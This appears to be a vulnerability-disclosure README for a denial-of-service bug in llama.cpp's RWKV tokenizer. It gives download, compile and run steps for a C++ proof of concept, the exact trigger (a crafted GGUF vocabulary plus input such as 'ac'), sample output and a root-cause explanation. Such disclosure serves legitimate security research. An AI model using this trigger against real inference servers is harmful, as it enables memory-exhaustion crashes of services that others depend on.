poc_rwkv_vocab.gguf - Crafted GGUF with RWKV vocabulary metadata
poc_rwkv_loop.cpp - Standalone C++ PoC that reproduces the exact vulnerable code
craft_rwkv_poc.py - Python script that generates the GGUF PoC file
Quick Reproduction (under 2 minutes)
Option 1: Standalone C++ PoC (no dependencies)
This directly reproduces the vulnerable naive_trie + tokenize() code from llama-vocab.cpp:28-69 and 1262-1288.
bash
1# Download2wget https://huggingface.co/blackr0se1/llama-cpp-rwkv-infinite-loop-poc/resolve/main/poc_rwkv_loop.cpp
34# Compile (no llama.cpp build needed)5c++ -std=c++17 -O0 -o poc_rwkv_loop poc_rwkv_loop.cpp
67# Run (will loop for ~3 seconds then report)8./poc_rwkv_loop
Expected Output
[*] RWKV Tokenizer Infinite Loop PoC
[*] Trie has tokens: 'ab' (id=1), 'cd' (id=2), 'xyz' (id=3)
[*] No single-char token for 'a' - node exists but has_value=false
[*] Input: "ac"
[*] Expected: infinite loop at position=0 (token_length stays 0)
[*] Monitoring output growth...
iteration 100000: position=0, token_length=0, output.size=100000
iteration 200000: position=0, token_length=0, output.size=200000
...
iteration 1000000: position=0, token_length=0, output.size=1000000
[!] Loop terminated after 1000000 iterations (capped)
[!] Output vector grew to 1000000 entries (unbounded in real code)
[!] Position stuck at: 0 (never advances past trigger byte)
[!] In production: this runs until OOM kills the process
[+] CONFIRMED: Infinite loop reproduced.
Option 2: Using the GGUF file with llama.cpp
The poc_rwkv_vocab.gguf contains RWKV tokenizer vocabulary metadata with tokens ["ab", "cd", "ef"] - no single-character tokens. To trigger via llama.cpp, load any RWKV model that uses this vocabulary and tokenize any input containing 'a' followed by a non-'b' character.
What's Happening
The RWKV tokenizer builds a trie from vocabulary tokens. Token "ab" creates trie nodes for 'a' and 'b', but only the 'b' node has has_value=true. When input "ac" is tokenized:
traverse('a') finds a node (prefix of "ab"), enters the inner loop
node->has_value is false, so token_length stays 0
traverse('c') returns NULL, inner loop exits
position = token_length = 0 - resets to the start
Outer loop repeats from position 0 - infinite loop
Each iteration pushes to the output vector, causing unbounded memory growth until OOM.